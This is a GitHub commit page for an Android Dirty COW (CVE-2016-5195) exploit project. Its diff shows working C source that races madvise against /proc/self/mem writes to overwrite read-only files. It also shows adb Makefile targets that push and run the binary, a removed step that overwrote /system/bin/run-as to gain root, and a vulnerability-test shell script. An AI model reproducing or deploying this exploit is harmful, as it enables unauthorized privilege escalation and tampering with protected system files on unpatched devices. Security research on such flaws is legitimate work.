Skip to content

Commit

Permalink
latest
Browse files Browse the repository at this point in the history
  • Loading branch information
timwr committed Nov 6, 2016
1 parent 8b0136f commit 5c8b5b2
Show file tree
Hide file tree
Showing 6 changed files with 137 additions and 115 deletions.
13 changes: 2 additions & 11 deletions Android.mk
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,8 @@ LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)

LOCAL_SRC_FILES := \
dirtycow.c
dirtycow.c \
dcow.c

LOCAL_MODULE := dirtycow
LOCAL_LDFLAGS += -llog
Expand All @@ -13,13 +14,3 @@ LOCAL_LDFLAGS += -fPIE -pie

include $(BUILD_EXECUTABLE)

include $(CLEAR_VARS)

LOCAL_SRC_FILES := \
run-as.c

LOCAL_MODULE := run-as
LOCAL_CFLAGS += -fPIE
LOCAL_LDFLAGS += -fPIE -pie

include $(BUILD_EXECUTABLE)
33 changes: 13 additions & 20 deletions Makefile
Original file line number Diff line number Diff line change
@@ -1,29 +1,22 @@

ARCH := $(shell adb shell getprop ro.product.cpu.abi)

all: build

build:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16

push: build
adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
adb push libs/armeabi/run-as /data/local/tmp/run-as

push-arm7: build
adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dirtycow
adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as

push-arm8: build
adb push libs/arm64-v8a/dirtycow /data/local/tmp/dirtycow
adb push libs/arm64-v8a/run-as /data/local/tmp/run-as

run:
adb shell 'chmod 777 /data/local/tmp/run-as'
adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'
adb shell /system/bin/run-as

root: push run
root-arm7: push-arm7 run
root-arm8: push-arm8 run
adb push libs/$(ARCH)/dirtycow /data/local/tmp/dcow
adb push test.sh /data/local/tmp/test.sh

test: push
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/test.sh'
adb shell '/data/local/tmp/test.sh'
adb shell '/data/local/tmp/dcow /data/local/tmp/test /data/local/tmp/test2'
adb shell 'cat /data/local/tmp/test2'
adb shell 'cat /data/local/tmp/test2' | xxd

clean:
rm -rf libs
Expand Down
20 changes: 20 additions & 0 deletions dcow.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
#include <err.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>

extern int dcow(int argc, char *argv[]);

int main(int argc, char *argv[])
{
return dcow(argc, argv);
}
140 changes: 85 additions & 55 deletions dirtycow.c
Original file line number Diff line number Diff line change
Expand Up @@ -15,24 +15,55 @@
#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#elif PRINT
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#else
#define LOGV(...)
#define LOGV(...)
#endif

#define LOOP 0x100000

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define TIMEOUT 10

struct mem_arg {
unsigned char *offset;
unsigned char *patch;
unsigned char *unpatch;
size_t patch_size;
int do_patch;
void *offset;
void *patch;
off_t patch_size;
char *fname;
volatile int stop;
int success;
};

static void *checkThread(void *arg) {
struct mem_arg *mem_arg;
mem_arg = (struct mem_arg *)arg;
struct stat st;
int i;
char * newdata = malloc(mem_arg->patch_size);
for(i = 0; i < TIMEOUT && !mem_arg->stop; i++) {
int f=open(mem_arg->fname, O_RDONLY);
if (f == -1) {
LOGV("could not open %s", mem_arg->fname);
break;
}
if (fstat(f,&st) == -1) {
LOGV("could not stat %s", mem_arg->fname);
close(f);
break;
}
read(f, newdata, mem_arg->patch_size);
close(f);

int memcmpret = memcmp(newdata, mem_arg->patch, mem_arg->patch_size);
if (memcmpret == 0) {
mem_arg->stop = 1;
mem_arg->success = 1;
return 0;
}
usleep(100 * 1000);
}
mem_arg->stop = 1;
return 0;
}
static void *madviseThread(void *arg)
{
struct mem_arg *mem_arg;
Expand All @@ -41,36 +72,33 @@ static void *madviseThread(void *arg)
int i, c = 0;

mem_arg = (struct mem_arg *)arg;
/*addr = (void *)((off_t)mem_arg->offset & (~(PAGE_SIZE - 1)));*/
/*size = mem_arg->offset - (unsigned long)addr;*/
/*size = mem_arg->patch_size + (mem_arg->offset - addr);*/
size = mem_arg->patch_size;
addr = (void *)(mem_arg->offset);

LOGV("[*] madvise = %p %d", addr, size);
LOGV("[*] madvise = %p %zd", addr, size);

for(i = 0; i < LOOP; i++) {
for(i = 0; i < LOOP && !mem_arg->stop; i++) {
c += madvise(addr, size, MADV_DONTNEED);
}

LOGV("[*] madvise = %d %d", c, i);
mem_arg->stop = 1;
return 0;
}

static void *procselfmemThread(void *arg)
{
struct mem_arg *mem_arg;
int fd, i, c = 0;
unsigned char *p;

mem_arg = (struct mem_arg *)arg;
p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch;
unsigned char *p = mem_arg->patch;

fd = open("/proc/self/mem", O_RDWR);
if (fd == -1)
if (fd == -1) {
LOGV("open(\"/proc/self/mem\"");
}

for (i = 0; i < LOOP; i++) {
for (i = 0; i < LOOP && !mem_arg->stop; i++) {
lseek(fd, (off_t)mem_arg->offset, SEEK_SET);
c += write(fd, p, mem_arg->patch_size);
}
Expand All @@ -79,101 +107,103 @@ static void *procselfmemThread(void *arg)

close(fd);

mem_arg->stop = 1;
return NULL;
}

static void exploit(struct mem_arg *mem_arg, int do_patch)
static void exploit(struct mem_arg *mem_arg)
{
pthread_t pth1, pth2;
pthread_t pth1, pth2, pth3;

LOGV("[*] exploit (%s)", do_patch ? "patch": "unpatch");
LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);

mem_arg->do_patch = do_patch;

mem_arg->stop = 0;
mem_arg->success = 0;
pthread_create(&pth3, NULL, checkThread, mem_arg);
pthread_create(&pth1, NULL, madviseThread, mem_arg);
pthread_create(&pth2, NULL, procselfmemThread, mem_arg);

pthread_join(pth3, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);

LOGV("[*] exploited %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
}

int main(int argc, char *argv[])
int dcow(int argc, char *argv[])
{
if (argc < 2) {
LOGV("usage %s /default.prop /data/local/tmp/default.prop", argv[0]);
return 0;
}

char * fromfile = argv[1];
char * tofile = argv[2];

struct mem_arg mem_arg;
struct stat st;
struct stat st2;

int f=open(argv[1],O_RDONLY);
int f = open(tofile, O_RDONLY);
if (f == -1) {
LOGV("could not open %s", argv[1]);
return 0;
LOGV("could not open %s", tofile);
return -1;
}
if (fstat(f,&st) == -1) {
LOGV("could not open %s", argv[1]);
return 0;
LOGV("could not open %s", tofile);
return 1;
}

int f2=open(argv[2],O_RDONLY);
int f2=open(fromfile, O_RDONLY);
if (f2 == -1) {
LOGV("could not open %s", argv[2]);
return 0;
LOGV("could not open %s", fromfile);
return 2;
}
if (fstat(f2,&st2) == -1) {
LOGV("could not open %s", argv[2]);
return 0;
LOGV("could not open %s", fromfile);
return 3;
}

size_t size = st.st_size;
size_t size = st2.st_size;
if (st2.st_size != st.st_size) {
LOGV("warning: new file size (%lld) and file old size (%lld) differ\n", st2.st_size, st.st_size);
if (st2.st_size > size) {
size = st2.st_size;
LOGV("warning: new file size (%lld) and file old size (%lld) differ\n", (unsigned long long)st.st_size, (unsigned long long)st2.st_size);
if (st2.st_size > st.st_size) {
LOGV("corruption?\n");
}
}

LOGV("size %d\n\n",size);

LOGV("[*] size %zd", size);
mem_arg.patch = malloc(size);
if (mem_arg.patch == NULL)
LOGV("malloc");

memset(mem_arg.patch, 0, size);
if (mem_arg.patch == NULL) {
return 4;
}

mem_arg.unpatch = malloc(size);
if (mem_arg.unpatch == NULL)
LOGV("malloc");
mem_arg.patch_size = size;
mem_arg.fname = argv[2];

read(f2, mem_arg.patch, st2.st_size);
read(f2, mem_arg.patch, size);
close(f2);

/*read(f, mem_arg.unpatch, st.st_size);*/

mem_arg.patch_size = size;
mem_arg.do_patch = 1;

void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, f, 0);
if (map == MAP_FAILED) {
LOGV("mmap");
return 0;
return 5;
}

LOGV("[*] mmap %p", map);

mem_arg.offset = map;

exploit(&mem_arg, 1);
exploit(&mem_arg);

close(f);
// to put back
/*exploit(&mem_arg, 0);*/
if (mem_arg.success == 0) {
return -1;
}

return 0;
}
29 changes: 0 additions & 29 deletions run-as.c

This file was deleted.

17 changes: 17 additions & 0 deletions test.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@

if [ -f /data/local/tmp/test ]; then
chmod 777 /data/local/tmp/test
rm /data/local/tmp/test
fi

if [ -f /data/local/tmp/test2 ]; then
chmod 777 /data/local/tmp/test2
rm /data/local/tmp/test2
fi

echo vulnerable!!!!!!! > /data/local/tmp/test
echo yournotvulnerable > /data/local/tmp/test2

chmod 444 /data/local/tmp/test2
ls -l /data/local/tmp/test*

0 comments on commit 5c8b5b2

Please sign in to comment.